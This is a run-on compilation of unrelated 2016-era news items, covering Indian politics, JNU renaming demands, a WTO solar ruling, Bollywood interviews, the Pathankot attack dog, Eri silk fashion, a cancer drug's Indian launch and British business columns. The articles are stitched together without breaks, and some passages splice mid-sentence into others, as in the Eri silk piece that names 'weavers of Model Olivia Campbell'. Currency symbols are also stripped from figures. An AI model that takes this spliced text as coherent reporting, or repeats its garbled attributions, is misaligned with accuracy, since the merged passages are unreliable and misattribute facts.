Since the 1980s, Punjab has lost its economic leadership among states, and steadily slipped behind other states.

Since the 1990s, Punjabs GDP growth has been lower than the national average.

Agriculture has reported a sluggish growth.
The members of Akhil Bharatiya Vidyarthi Parishad (ABVP) at Jawaharlal Nehru University (JNU) have demanded that three important parts of the varsity are named in memory of Dr BR Ambedkar, former President Dr APJ Abdul Kalam and tribal freedom fighter Birsa Munda.

The unit has written a letter to the vice-chancellor of the University on Thursday requesting to rename the central library, convention centre and stadium after these prominent personalities.

We have requested the vice-chancellor to put forward our demands in the Academic Council and Executive Council meeting. By naming the centres after these personalities, the students will be made aware of their contributions to the nation, said Saurabh Sharma, joint secretary, JNU students union and member of ABVP.

Members of the ABVP at JNU have requested for the renaming of the central library, convention centre and stadium after BR Ambedkar, APJ Abdul Kalam and Birsa Munda, respectively.

Dr Bhimrao Ramji Ambedkar, popularly known as Babasaheb, was an Indian jurist, economist, politician and social reformer, who inspired the Dalit Buddhist movement and campaigned against social discrimination against Untouchables (Dalits).

He also supported and fought for the rights of women and labour.

Students have also asked for the setting up of statues of all these personalities at the gate of each of the three centres.

The statues of the personalities must be placed at the entrance to inspire the students and work for the welfare of the country and its people, the letter to the vice-chancellor said.

Students have also asked for a separate section or a gallery accommodating all the literary works, texts and speeches by Babasaheb.

Kalam, famously called the Missile man of India was a renowned scientist and was a key force behind the Pokhran II as well as Indias Satellite Mission SLV-III.

As the President of India, he was always unorthodox. His books are a source of inspiration for the entire nation. He is also a source of inspiration for his opposition to the cultural change imposed by the British, the letter further stated.

Birsa Munda was a tribal freedom fighter, religious leader and folk hero who belonged to the Munda tribe.

He spearheaded an Indian tribal indigenous religious millenarian movement that rose in the tribal belt of modern day Bihar and Jharkhand in the late 19th century, during the British Raj, thereby making him an important figure in the history of the Indian independence movement.

Birsa Munda is one of the most prominent freedom fighters in the freedom struggle.

Munda was a great tribal leader and naming the stadium after him will help recognise his role and place in the conscience of India, said Sharma.

Meanwhile, following protests by JNU students over denial of fellowships and degree for their alleged involvement in the controversial Afzal Guru event, the varsity administration on Thursday issued orders to the concerned departments to release the same.
UN secretary-general Ban Ki-moon will request world leaders to sign Paris Agreement on climate change.

April 22 is World Earth Day. On the occasion, UN secretary-general Ban Ki-moon will request world leaders sign the Paris Agreement on climate change at the UN Headquarters in New York.

After the historic agreement adopted by 195 countries at COP21 Conference in Paris in December, the next step is the signature of the first-ever universal, legally binding global climate deal.

During a recent press briefing, Ban noted: It will enable us to increase ambition on a regular basis, which is essential if we are to keep global temperature rise to well below two degree celsius.

The UN boss emphasised: It has just begun. In 2016, we must go from words to deeds.

The Signature Ceremony will be the opportunity for each government to start implementing the Paris Agreement and hopefully save the Planet.

But dont clap too early. At the behest of the United States, the World Trade Organisation (WTO) may derail Indias ambitious solar power programme.

Responding to a US complaint, a WTO dispute panel recently ruled that several provisions of Indias National Solar Mission were inconsistent with international trade norms.

Climate

In 2011, the Congress government plans 100 gigawatts of solar capacity by 2022 under this scheme; it was a way to actively participate in the world effort to slowdown climate change; the scheme envisaged that a large percentage of the cells and panels would be manufactured in India by local companies.

Unfortunately, such provisions, known as domestic content requirements (DCR), are prohibited by the WTO under international trade agreements.

A Delhi-based daily observed: Indias solar manufacturing industry is likely to be in the pits and thousands of job opportunities lost, thanks to a recent WTO ruling..."The worrying bit is also that these module-manufacturing units are low-investment industries that have the potential to employ a very large number of semi-skilled labour.

With 300 million Indians without access to electricity, the Solar Mission was a win-win project with a dual objective: combat poverty via job creation and add to Indias solar capacity.

But the US manufacturers do not see it from this angle. For them, the scheme led to a 90 per cent decrease in its solar exports to India since the inception of the mission.

Though resolutely opposed by several US environmental groups, the US manufacturers filed a WTO complaint.

In August 2015, a WTO panel released a preliminary ruling against the Indian DCRs requirements, and early 2016, the final ruling was announced.

Co-operation

The BBC asked the right question: Whatever happened to all the talk of international co-operation to tackle climate change that we heard during the climate conference in Paris just a few months ago?

Arriving at the end of its term, the Obama administration has probably forgotten Shared Effort; Progress for All, the US-India joint statement, signed during Barack Obamas visit to India in January 2015: President Obama and Prime Minister (Narendra) Modi share a deep concern regarding the climate challenge and understand that meeting it will require concerted action by their countries and the international community.

At the end, business is business, and for the US corporate world, the change of climate can go with the wind, money is its first and last concern.

Self-esteem

Ben Beachy, Senior Policy Advisor, Responsible Trade Program, Sierra Club, said in an Huffington Post report: Bringing this case is a perverse move for the United States. Nearly half of the US has renewable energy programmes that, like Indias solar programme, include buy-local rules that create local, green jobs and bring new solar entrepreneurs to the economy.

"The US government should drop this case to avoid undermining jobs and climate protections not just in India, but also at home.

It is doubtful if Obama is ready to take on corporate America during an election year.

In the meantime, the Government of India has announced that it will appeal against the WTO verdict.

On March 24, while addressing the CII Young Indians Summit, Power Minister Piyush Goyal had strong words too: The US made it a prestige issue. It is very unfortunate that they pursued the complaint in the WTO. It reflects the hollowness of the US commitment to clean energy.

Goyal added that Indias capacity to produce solar components and solar cells represents only a portion of the demand of the country; this means that the foreign component makers would still have a substantial market.

Well, this is probably not new, bullies have always existed, but this time, the fate of the planet is at stake.

Even if India loses the WTO case, Delhi should stick to its environment commitments.
Parrikar confirmed that Rafale negotiations were at an 'advanced stage'

The BJP jumped the gun to announce the finalisation of the Rafale fighter jet deal with France.

But, defence minister Manohar Parrikar on Thursday set the record straight by clarifying that the much awaited contract was yet to be finalised.

He said that negotiations were at an advanced stage and the government wanted to close it soon.

Drawn into the zeal shown by his party to take the credit for the possible money saved by the government in the proposed deal, Parrikar blamed the media for planting convincing stories highlighting the BJP's enthusiasm.

Senior positions in Supreme Court on hold

A conferring of senior designations with lawyers is on hold in the Supreme Court.

Chief Justice of India TS Thakur made it clear that the apex court will not give the tag to any lawyer until the petition filed by senior lawyer Indira Jaising, challenging its procedure, is finally decided.

As Jaising complained that her petition had not been heard for a while, CJI Thakur said that the matter would be heard in the final week of July.

In the meantime, rest assured that nothing will happen. Till then, no senior designation will be conferred on any advocate, he told Jaising.

CJI advice on air connectivity

Chief Justice of India TS Thakur tried to lighten the air during a high voltage hearing in a case about lack of air connectivity to hill stations like Shimla.

Thakur turned to senior law officers Ranjit Kumar and Paramjit Singh Patwalia and said: At least think in your personal capacity. It will benefit you in summer. You keep going to these cool climes. You can make some quick trips rather than wasting hours in reaching there."

Amethi to see Rahul Gandhi more often

Rahul Gandhi, who is often targeted by the Union HRD Minister Smriti Irani for ignoring his constituency Amethi, has assured the locals that he will visit them more often.

Irani had contested the 2014 LS polls against Rahul from Amethi and keeps visiting the constituency hoping to dent Rahuls vote bank.

Sources said Rahul doesnt care about the ministers barbs and believes the voters of his constituency will continue to value his development work.

Wedding invite for Suresh Prabhu

Railway Minister Suresh Prabhu boarded Mumbais local on Thursday and he was requested to attend the wedding by a fellow passenger.

While interacting with the commuters, one of them gave him his wedding invite and urged him to attend the ceremony.
Gulshan Grover insists the show is not over for the bad man in Hindi films yet

These are bad days for Bollywoods bad men, ask Gulshan Grover. The self-styled Bad Man recalls Hindi screens glorious era of evil with a nostalgic whiff, and rues the fast disappearing screen space for villains.

I feel a wonderful character sketch is disappearing, he says, of the dwindling number of villain roles in Hindi films. But then, stories have moved to a different direction now. Newage realism in our films does not leave much scope for flamboyant villainy, he reasons.

Grover, though, is confident things will get better for the on-screen scheming lot.

The villain will be back in Bollywood, he declares. May be, the return of negative characters will happen in a different way and within different scripts, but it is bound to happen. Hindi cinema and its drama are incomplete without villains, he says.

Grovers current assignment, coincidentally, matches his above reflection.

He is starring in a comic drama titled Bad Man, a direct-to-web feature release that makes a sly comment at the current state of villains in Bollywood.

The film is directed by Soumik Sen, who earlier made Gulab Gang starring Madhuri Dixit and Juhi Chawla.

In Bad Man, I play Gulshan Grover, the Bollywood screen villain. We have mixed a bit of fantasy with whole lot of realism to set up a scenario where Gulshan Grover, on realising that roles of villains are being eaten up, wants to play hero now, at the age of 60.

"The film is make-belief drama done with tongue-in cheek zest. The idea that a popular actor, who used to play villain by choice, should try becoming a hero out of compulsion makes the film interesting and unusual, he says.

Grover terms Bad Man as a quirky turn in his career, meant to give out this signal: In an era when heroes are taking away roles of villains by essaying grey shades, it is okay for villains to lay their hand on the roles of heroes.

You ask him if he ever harboured secret dreams of making it big as a hero. I would love to play the lead in a film but not necessarily the traditional hero. I came to Bollywood with formal acting training, so I could have pursued any roles. But I had clarity of mind I did not want to play the stereotypical hero.

He realised soon enough the villain in Bollywood was actually more nuanced as a character than the heroes back in his days.

'Hindi cinema is incomplete without villains,' said Gulshan Grover

All the great villains of cinema have been great actors. You cannot survive as a screen villain if you cannot act, he says.

There was another exciting reason.

The seventies and the eighties marked Bollywoods peak period of screen villainy.

Pran and KN Singh were garnering popularity that most leading men would envy and with Sholay, Amjad Khan set off a whole new high for the bad guy of Bollywood.

Those were the glory years of the Bollywood villain. I gradually started finding popularity in negative roles and realised I could establish my brand power being Bollywoods Bad Man.

Thats the reason I turned down offers to play the hero. Image was a big thing back then and I didnt want to confuse my target audience.

A highlight of Grovers villain roles, in this context, was his variety in get-up and look, which he employed to make each of his characters different.

Often highlighted by flamboyant costumes or imaginatively done hair and beard styles, Grovers presence became an attraction in every film that cast him in his heydays.

Screen villainy apart, the other thing that highlights Grovers career of nearly four decades is his international roster.

His Hollywood kitty includes Prisoners Of The Sun and Nephilim, and he has also worked in a British film titled Honour Killing, a Tibetan film called Were No Monks, the Italian movie Les Mysteres de Sadjurah, besides international crossover projects as Blind Ambition, Sweet Amerika and My Bollywood Bride.

The trend of moving westward is expanding now, and it is a good thing. I worked in foreign films at a time when there was a perception that commercial Hindi actors are not worth global exposure. It takes a lot of hard work to break the international barrier, he says.

Grover loves his mix of roles spanning the world over, but he simply cannot get over playing villain in Hindi films. I still look forward to playing villain  that is my forte, he says, adding gleefully he will essay evil soon again in Pooja Bhatts next release, Cabaret.

It is a challenging idea to reinvent the villain. I hope Bollywood will be up to it and does it soon, he signs off.

'TV is quick to slot you': Sumona Chakravarti returns in Kapil Sharma's new show

Sumona returns as a part of the cast in The Kapil Sharma Show

By Vinayak Chakravorty

For a while she had the entire country believing she was Kapil Sharmas wife in real life, Sumona Chakravarti recalls with an amused grin.

It happened because of the chemistry she shared with Kapil week after week on television, playing out a bickering couple on the now-defunct TRP-topper Comedy Nights With Kapil.

No surprises, Sumona returns as a part of the cast in The Kapil Sharma Show, the funnymans small screen comeback on Sony this weekend. She insists she is not playing Kapils wife this time.

I play a single girl this time and I am not wearing a sari in this show, she declares.

As Sumona gears up for a new innings with Kapil, there is also the talk of how their last sojourn seemed to have sexist overtones in the jokes played out.

Many have pointed out Sumonas homemaker was invariably at the receiving end of all the funny lines. Sumona, however, refuses to see any note of sexism in Kapils shows.

I look at Kapils shows as women-centric efforts. Look at the cast  it is full of all these men dressing up as women.

"They all want to play the woman because they know the focus is always on the women in this sort of a show, says Sumona, incidentally, the only leading female actor in Kapil Sharmas talented entourage of comedians. She needed to add a new twist to her brand of comedy of course, to fit the bill in her new role.

As a comedian, it is easier to acquire a new trait in comedy if you are a man. Men just need to change get-up. For a female comedian, look becomes important as well as body language, she says. Sumona agrees Indian television is an image trap.
A ferocious Belgian Malinois could receive a gallantry award soon.

The honour will come his way for being part of the elite National Security Guard (NSG) commando team that took on terrorists holed up inside the Pathankot Air Force base.

During the operation, the dog displayed remarkable courage that resulted in the one of the terrorists being gunned down.

Rocket (left) was instrumental in the killing of a terrorist during the Pathankot airbase attack

Three-year-old Rocket was quick to pounce on an armed terrorist within seconds of being let loose.

As the commandos saw one of the terrorists changing his position constantly, they let out Rocket.

Rockets sudden attack took the terrorist by surprise and he lost control, making it easy for the commandos to launch the final assault.

We have recommended Rocket for a sena medal as he played an important role in the terrorist getting killed, said a NSG officer. Sources said the terrorist had taken a vantage position and the commandos were finding it difficult to pin him down.

Rocket showed great alacrity and did not shy away from taking on the armed terrorist, the officer added.

The moment the terrorist tried to change his position to dodge the commandos, Rocket pounced on him and pinned him down, thereby preventing him from entering a built-up area that would have been be a safer location.

There were six dogs from the canine (K 9) squad of the NSG who, along with their handlers, played a stellar role in the operation in Pathankot, officials said.

Currently, NSG has nearly 20 dogs in its dog squad that are trained for anti-terror operations to assist the force.

Sources say the dogs can play a big role in hostage situations as they can be used for reconnaissance.

At the same time, they are effective in assault situations like in Pathankot.

Seven security personnel were killed and several others wounded when suspected Pakistani terrorists, owing allegiance to Pakistan-based Jaishe-Mohammad, stormed the Pathankot air base after infiltrating on January 1.

Indian investigators have given evidence to Pakistan indicating that the attack was the handiwork of JeM chief Maulana Masood Azhar.

Azhar had to be let off in exchange for passengers on board an Indian Airlines flight that was hijacked to Kandahar in Afghanistan in 1999 after taking off from Kathmandu.

The Belgian Malinois is the same breed that was part of the operation by US forces to hunt down Osama bin Laden.

The canines are now becoming popular with the security forces in India.

They are not restricted to sniffing out explosives, the forces are using them for assaults, infantry and reconnaissance patrols and with new training techniques they are also able to sense an ambush ensuring that troops are alerted in advance.

These dogs are an integral part of the forces in conflict zones and are being trained for multiple skills. The breed has made a big impact in operations in the red zone against Maoists.

Realising the importance of these dogs in operations in tough terrains, the force goes out of its way to keep them healthy and fit.

Belgain Malinois can walk long distances making them useful for infantry patrols. They can also withstand intense heat.
An Eri silk creation by N&S GAIA by Sidharth Sinha in which cotton yarn was mixed with the silk to make it more textured and affordable

Ever there was a choice between fashion and life, what should win?

What value should one attach to an object, and how does one arrive at the conclusion?

Fashion has reached a unique stage where critics and consumers have made a clean mental distinction between a beautiful product and where it comes from.

Backed by marketing and celebrity culture, the aspirational value of a fur bag, shahtoosh shawl (despite being banned), leather wallet or even a Benarasi silk sari has overshadowed the ethicality of its production.

Countless animals suffer for fashion to be exhibited in softly-lit stores.

For instance, it takes around 10,000 silkworms to create one sari of Mulberry, tasar, or muga silk, wherein live cocoons are thrown into boiling water so that the silkworms die and dont eat into the thread filament while exiting as moths (making such silks more expensive and valuable).

Amidst the banter of social hobnobbers lamenting over animal rights and climate control, there are a few designers who are genuinely trying to contribute by working with eco-friendly fabrics and methods.

One such fabric is the Eri silk from the Northeast, also known as Ahimsa silk or peace silk.

Unlike the other silks of India, it is procured by allowing the pupa to hatch and more importantly, live.

The thread is shorter as a result, and considered the poor persons silk but it is valuable for its elasticity, durability and thermal qualities that makes it warm in winter and cool in summer.

Quite naturally, the silk was promoted by Mahatma Gandhi, under his philosophy of not hurting living things/peaceful existence, non-violent Jain and Buddhist sects and even political figures like former First Lady Janaki Venkataraman, former Indonesian president Megawati Sukarnoputri and the beautiful animal rights activist Amala Akkineni.

The material has even found its way to international collections like that of New York-based brand, Theory.

Today, a handful of Indian designers are turning to this wonderful fabric and experimenting with it to give it new form.

N&S GAIA by Sidharth Sinha is one such label that has consistently worked towards ethical conduct in fashion. Since 2014, Sinha has been working with weavers of Model Olivia Campbell.

An Ahimsa silk sari by designer Gautam Gupta that was naturally softened by exposing the fabric to sunlight, rather than using chemicals

Meghalaya  where Eri silk is cultivated and groomed  to introduce it into his collections. In order to keep the price point of his garments in check (Eri silk can fetch up to Rs 1,400 per metre as compared to Rs 800 for other silks), the designer mixed cotton into it.

He then had the yarn handspun in tie and dye and ombre patterns to make it as thin as possible for a draped effect.

According to Sinha, The main issue with working in tribal regions is that the weavers are very afraid to try something new because they fear they will not get the benefit for their work. Someone needs to bring the trust back, to show them what is happening outside so that they can get more opportunities.

In the same year, Delhi-duo Abraham & Thakore presented a collection of wild silk ensembles, and Eri figured in a trench coat, a tunic and a stitched sari among other garments.

The range was well-received by the discerning audience with a wellhoned aesthetic and philosophical background.

As David Abraham puts it, It is a very specific client youre talking to  one who understands and appreciates the story behind it. The production is very limited, not the easiest fabric to get, and not available in large numbers.

Label Vinayak Couture by Gautam and Asha Gupta has also crafted a special ahimsa silk line this season, and unlike their counterparts who use chemical softners, the designers used a natural process of keeping the fabric under sunlight so that the heat makes it softer.

They have incorporated ikat and polka dots patterns for saris and are looking to expand the range with lehengas and more.

There is a lot of scope for experimenting in this category of silks, to make the fabric lighter and with more sheen. Also, the weavers need assurances of quantity and longevity for Eri silk to grow. A balance has to be maintained, shares Gautam.

Ahimsa silk has all the makings for becoming an it fabric for its non-violent, self-reliant and culturally-derived positioning, quite like khadi.

With the right impetus and research, it can pave the way for a more peaceful understanding of fashion.

Model strips to reclaim body image

Words are powerful things, as are actions, says plus-size British model Olivia Campbell in an emotional video where she opens up about how she was called a fat, ugly b**** at the age of 12 by strangers for being overweight.

The emotional post is the latest edition to the What's Underneath video series by mother-daughter duo, StyleLikeU, where Campbell strips down to basic clothing to celebrate her body type.

Words are powerful things, as are actions, says plus-size British model Olivia Campbell in an emotional video where she opens up about how she was called fat"

The model questions social diktats of a good body image, and proudly states, For me fat is not a bad thing. I am fat its just a descriptive word.

The aim is to encourage viewers to give compliments rather than criticise, and embrace ones body.

As she states, I own my body and my curves and I show it off is because I learnt early that it doesn't matter if you cover up.

Reigns style chart

Its a relief seeing actress Neha Dhupia shun the conventional body hugging, plunging neck, tulle-layered dresses in favour of more wholesome ensembles.

Case in point is this olive green oversized suit and churidar tights by designer Payal Singhal, with its embroidered neck panel.

With a quiffed updo, nude peep-toe heels, and black aviator sunnies, Dhupia proves once again why she is the darling of fashion as opposed to the clothes horses on red carpets.

The actress also proves that sexiness can be projected in other, sexy ways without baring a midriff or bare shoulders.
The cancer drug that treated former US president Jimmy Carter who was suffering from melanoma, a deadly form of skin cancer, might be hitting the Indian market by September 2016.

Carter was being treated with a cancer drug called Keytruda that uses the immune system to fight off cancerous cells.

Various medical experts said the drug which has been approved by the US Food and Drug Administration (FDA) will increase the curability rate by 20 per cent and prolong the life of the cancer patients. Currently, the hospitals are importing the drug from foreign country.

Major roadblocks in the approval of skin cancer drugs is its cost.

Another drug, Opdivo, will also be made available at the same time. Opdivo is also used to treat melanoma.

These are the new class of drugs which will chance the entire concept of cancer treatment in the country. Initial attempts have been successful in India. The approval is on its way and we are waiting for the final decision. We are importing the drug from foreign country, Dr Amit Agarwal, director and head of department, medical oncology, BLK Super Speciality Hospital.

Keytruda, made by pharmaceutical company Merck, was originally approved by the FDA in September 2014 to treat melanoma, a deadly form of skin cancer that can also show up in other organs of the body, as it did in Carters case.

The drug, which got approved to treat a form of lung cancer in October, is also being explored to treat a number of other cancers, including head, neck, breast, bladder and Hodgkin Lymphoma.

These are one of the best drugs which have been approved as am first line drug by the US FDA for melanoma and lung cancer and second line drugs for liver and kidney cancer.

It might come up in every cancer soon.

The initial trials have shown that the drugs will prolong the lives of the patients, said Dr Bharat Ashok Vaswani, medical director, Oncology, Yashoda hospital, Hyderabad.

Sources say one of the major roadblocks in the approval of these drugs is its cost.

The drug will cost around Rs 4-7 lakhs and the entire cancer treatment through this drug will go above Rs 1 crore.

These drugs might not be helpful for the general public. They are too expensive and not every patient can afford it. The talks are going on and the final decision is yet to come out, a senior government official told Mail Today.

Few hospitals in the country have used the drug on some of the patients and have so far received a good response.

We have started using the drug. They have been approved by the FDA. So far, the response on the patients is very good. Around four-five patients have been treated with the drug in our hospital.
Punjab Congress president Amarinder Singh has lodged a strong protest with Canadian PM Justin Trudeau

Punjab Congress president Amarinder Singh has lodged a strong protest with Canadian PM Justin Trudeau over denial of permission for his interactive meetings with the Punjabis in Toronto and Vancouver.

It feels like a gag order that has left a very bad taste, more so when issued by a democratic government like the Canadian, said Singh.

Following a complaint by a US-based anti-India group, the Canadian government had asked Singh not to attend the events hosted by the Canadian citizens of Indian origin.

Theres a new FTII director

Pune-based Film and Television Institute of India (FTII), which has been at the centre of controversy over the appointment of TV personality Gajendra Chauhan as chairman, will get a new director.

The government has named Indian Information Service (IIS) officer Bhupendra Kainthola for the job.

He will join at a time when the government is trying to rebuild the institution despite a section of students protesting chairmans selection terming it as a political decision.

Haryana on Shahs radar

Hoping to overcome huge setback after the Jat agitation in the state, the BJP is going all out to regain lost ground in Haryana.

BJP president Amit Shah will be in Haryana on April 23

BJP president Amit Shah will be in the state on April 23 at Gohana in Sonipat district to address Haryana Swaran Jayanti Panchayati Raj Sammelan.

The party is going all out for the success of the event with several Union ministers expected to join.

From battlefield to pages of books

Some of the veterans who took part in all the three wars in 1962, 1965 and 1971 gathered at the National Defence College in New Delhi to discuss release of the book on Indias military history between 1947 and 1971.

The book has been written by air vice-marshal Arjun Subramaniam who is one of the NDC faculty members.

Some of the veterans who took part in the three wars are viceadmiral Subhash Chopra, lieutenant general Satish Nambiar and air marshal Vinod Patney.

Justice league to meet tomorrow

Chief Justice of India TS Thakur, Chief Justices of HCs and CMs of all states will put their heads together to address pressing issues relating to the administration of justice at a conference in New Delhi on Sunday.

The one-day event will be inaugurated by PM Narendra Modi.
You do not have to be a Corbynista to cheer loudly when investors deliver a bloody nose to overpaid chief executives.

If anything, the 41 per cent vote against Mark Cutifanis 3.4million pay packet at De Beers owner Anglo American was timid.

This, after all, is a company in acute distress which is cutting 85,000 jobs and closing down or selling two-thirds of its operations, imposing a terrible burden on communities in some of the poorest parts of the world including its southern Africa homeland.

In the days when the Oppenheimer family were still in control, Anglo American earned a reputation for being a cut above the rest of the natural resource companies and played an important role in exposing  and defeating  apartheid.

Unrest: Anglo American Platinum miners strike in Rustenburg, northwest of Johannesburg, South Africa in 2013. The mining giant is cutting 83,000 jobs in some of the poorest parts of the world

Now Anglos reputation lies in ruins.

Just how out of touch the panjandrums at the top have become was exposed at the companys annual general meeting.

It was left to a veteran private shareholder, Phil Clarke, to challenge chairman Sir John Parker as he raced through the resolutions. Clarke forced the top table to retrace its steps to show the vote against pay.

No doubt Cutifani has a horrible job and is partly having to clear up the mess left by his predecessor, Cynthia Carroll.

It is the task of his board, and the chairman of the remuneration committee in particular, to protect him from his own greed.

But you dont get too much help from Sir Philip Hampton, chairman of Anglos pay committee, who has a habit of letting chief executives swing in the wind.

As post-crisis chairman of Royal Bank of Scotland he did the Government an enormous favour by taking on a role no one wanted.

When it came, however, to the pay of the admittedly rather precious chief executive Stephen Hester, he did little to shield him from opprobrium.

Hester took all the criticism to the point he was driven from office by George Osborne.

Needless to say, Hampton is now in the safer harbour of GlaxoSmithKline where he already has helped to wield the axe against chief executive Sir Andrew Witty.

The reality is that, of all the governance reforms, pay committees have been the most catastrophic. At Reckitt Benckiser, where chief executive Rakesh Kapoor earned 23million last year, the chairman of the pay committee Judy Sprieser has been in the job too long and lacks genuine British experience.

Pay committees are littered with feeble directors who too easily slough off responsibility to fee-hungry consultants who see their primary role as bidding up pay to skyrocketing American levels.

The system is broken and the layering of long-term bonuses, on top of shorter-term incentives, makes tracking of the eventual payouts all but impossible.

The rarefied world of the boardroom makes most non-executives totally unsuited to setting pay. If Parker, Hampton et al had spent a little more time at the pit head, working in atrocious conditions, they might better understand the unfairness of it all.

Forecast errors

In a week when the Treasurys forecasting skills have been put to the test by its Brexit calculations, it is possible to see what a difference a few weeks can make, let alone projections looking towards 2030.

Just over a month ago the Office for Budget Responsibility forecast a 2015-16 budget deficit of 72.4billion and the actual number came in at 74billion.

Project and compound the error forward and you would get a very big, meaningless number. That is why the very precise figure  that if the nation voted to leave the EU, families would be worse off by 4,300  is so much claptrap.

As it happens, a budget deficit of 74billion, given the market turbulence in the early weeks of the year and the slowdown in the first quarter, is not a bad outcome.

The trend is still in the right direction and a borrowing requirement of 3.9 per cent of national output should not be a cause for jitters.

What may give more pause is the way that total debt is still rising at 1594billion or 83.5 per cent of total output, against 83.3 per cent in 2014-15.

However, the IMFs Fiscal Monitor, released last week, shows the last UK tax year as the peak before debt as a percentage of GDP starts to fall.

The City had expected a much larger deficit for the final month of the last tax year. The 4.8billion shortfall is less than the 6billion forecast and 7.4billion a year earlier due partly to a surge in stamp duty before it went up on April 5.

The public thirsts for reliable data on the Brexit referendum. But the truth is that even the most authoritative projections cannot be relied upon.

Shock treatment

There can be no better advert for Anglo-Saxon capitalism and the ways of the London Stock Exchange than the bidding war for French electrical group Darty.

In a few short hours the company received no less than three separate offers, lifting the companys shares by an amazing 17.5 per cent. Quite a coup for the companys biggest investor Schroders with 14.7 per cent of the stock.
The new boss of Marks & Spencer has reshuffled its key womenswear team to match how women actually shop.

Steve Rowe, 48, who started his career as a Saturday boy at M&Ss Croydon store, became chief executive earlier this month and unveils his new strategy in May.

However he has already started to put his mark on the retailer by retaining direct control of the clothing division  the section he had run for the past year.

His new structure will focus its 200-strong team of buying, merchandising and design experts on products rather than brands and collections.

Reshuffle: New M7S boss Steve Rowe wants his womenswear team to match how women actually shop

This means rather than teams being responsible for collections such as Per Una or Autograph, staff will focus on individual products like trousers and dresses.

The changes will prevent duplication of similar products under different brands.

M&S has been criticised for having too many brands and too many product ranges. It currently has six: M&S Collection, Classic, Autograph, Per Una, Limited Edition and Indigo.

Plans: New M&S boss Steve Rowe, 48, started his career as a Saturday boy at M&Ss Croydon store

The new structure is part of Rowes plan to simplify the business, which has been accused of being too bureaucratic.

A spokesman said: In simple terms, it means that there will be one team responsible for designing and buying all of one type of product for our customers.

All of our trousers, whether they are M&S Collection, Autograph or Per Una, will be bought by the same team.

It will now have ten product categories that its teams will focus on, such as dresses, footwear and knitwear.

The womenswear team is being led by Jo Jenkins.

M&Ss weak spot has been its clothing business, in contrast to the success of its food.

Last month, it revealed at its fourth-quarter trading update that sales in its clothing and home division fell 2.7 per cent in the first three months of this year.

The division, which contributes around 60 per cent of profit, has only increased clothing sales in one quarter in nearly five years.

Rowe, who took over from Dutchman Marc Bolland, said: We are not leaving a stone unturned.
Record numbers of spectators visited Britains most popular racecourses last year  but bookmakers are nursing heavy losses after a successful Cheltenham Festival for punters.

The Jockey Club, which owns 15 racecourses including Cheltenham, Aintree, Epsom and Newmarket, said attendances rose 8 per cent to nearly 2million in 2015.

Turnover was up 7.1 per cent to a record 183.3million and profits nudged higher from 21.7million in 2014 to 21.9million last year.

Attendances were lifted by music nights where the racing was followed by gigs by artists such as Kylie Minogue.

The Jockey Club is looking forward to the Derby meeting where the Queens horse, Daphne, will run in the Oaks.

To see the Queen win one of the big races would be absolutely fantastic, said club chief executive Simon Bazalgette.

The Jockey Clubs update came as Ladbrokes revealed it suffered a terrible Cheltenham Festival.

But the company said the 33-1 Grand National winner Rule The World delivered a welcome contrast.

It would take a 3million hit if Leicester City win the Premier League but it said revenues rose 10.6 per cent in the first quarter of the year.
Contentious: Schroeders wants current ceo Michael Dobson to become chairman

One of Britains oldest investment groups is hoping to appoint its chief executive as chairman  despite having refused to back similar changes at other firms 40 per cent of the time.

Schroders wants to shift current boss Michael Dobson to chairman  a position meant for an independent candidate who holds executives to account.

It says Dobsons 14 years at the helm give him a deep and broad knowledge which will benefit the company  but there are ominous rumblings from large shareholders.

Schroders has repeatedly used its own rights as a shareholder to vote against other companies which sought to do the same thing.

It voted in favour of the appointment of a chief executive as chairman six out of ten times in the past eight years, but twice voted against and abstained on another two occasions.

In one 2014 case, Schroders voted against credit agency Experians bid to appoint outgoing chief executive Don Robert as chairman.

It was a rebellion which saw 30 per cent of shareholder votes not cast in support of the company.

And in 2008, Schroders was an outspoken opponent when Marks & Spencers Stuart Rose moved from chief executive to chairman.

At the time, its star fund manager Richard Buxton said the move was an appalling example and an undue concentration of power.

At least two top-20 shareholders in Schroders have signalled disapproval at the appointment of Dobson, to be put to a vote on Thursday.
88 Energy was again in the spotlight for small cap investors this week as the shale oil explorer arranged a massively over-subscribed share sale.

Having set out to capture between 5.4million and 8.1million to fund the next phase of work at Project Icewine, on Alaskas North Slope, it revealed on Friday that the cash call would be increased to about 13.5million.

As 88 Energy shares had increased by around 800 per cent earlier this year as the first phase results came back from Alaska, perhaps it is little surprise that the new equity is in such high demand.

Alaska oil: 88 Energy shares increased by around 800 per cent earlier this year as the first phase results came back from Alaska

Dave Wall, 88 Energy managing director, told investors that the company has seen a step change in investor interest and that decision to expand the placing was influenced by the high calibre of new investors wanting shares.

The cash will pay for additional land acquisition, a seismic exploration programme and support the group as it prepares for a pivotal horizontal well planned for early 2017.

AIM news flow was pretty much dominated by natural resource stocks this past week, with rallying crude oil and metal prices going some way to easing the negativity of recent months  a few green shoots can now be seen, if you know where to look.

Whilst commodities push certain stocks higher, the small cap market as a whole was steady.

The FTSE AIM 100, at around 3,440 this morning, was set to end the week pretty much where the benchmark began the week.

African Potash, an AIM favourite of 2015, remained on the back foot - falling about 40 per cent in Fridays early deals - as an order set for Zambia was delayed because drought had impacted affected demand for fertilizer among local farmers.

The miner separately landed a new order in the country, however, and it said remained confident that the fundamentals of the business remained attractive.

Down: Chaarat Gold shares fell as a new report suggests that it could be the cheapest producer in the world

Nearer to home, Devon based tungsten miner Wolf Minerals got a boost, rising as much as 6 per cent, after a funding arrangement with its major shareholder got approved.

Uranium Resources, similarly, rose about 25 per cent on Thursday thanks to a shareholder loan agreement.

Range Resources showed signs of life, jumping 20 per cent, as the Trinidad focussed oil group gave investors details of its plans to grow production from 551 barrels per day up to 2,500 next year - with additional volumes expected to start coming in the coming months.

Another Trinidad oil stock, LGO Energy, was also rising. It added about 7.5 per cent mid-week as it unveiled plans to open up new production zones in existing wells.

Recent changes to the Trinidads oil royalties, and somewhat better crude prices have helped lift prospects for the juniors operating on the Caribbean island.

Chaarat Gold shares dipped Thursday as a new feasibility report suggests that the cost of gold at the Kyrgyz project would make it the cheapest producer in the world, but it will need an upfront capital investment of US$470million - which is a lot, for a company valued in the market at just over 20million.

Strategic Minerals rose strongly, adding about 40 per cent, as it revealed planning and permitting progress for a maiden drilling programme at the Hanns Camp nickel-copper project in Western Australia.

On Wednesday, Canadian Overseas Petroleum advanced by about a third after confirm a relatively modest, but symbolic, fund raise which it says marks the stocks relaunch in the London market. It follows a bigger placing in Canada, and supports the company as high impact work approaches for assets in Liberia and Nigeria.

Tidal Power group Atlantis secured 6.5million of new funding, placing shares at 55p, and also announced a tie-up for new ventures in the waters of the Indonesian archipelago.

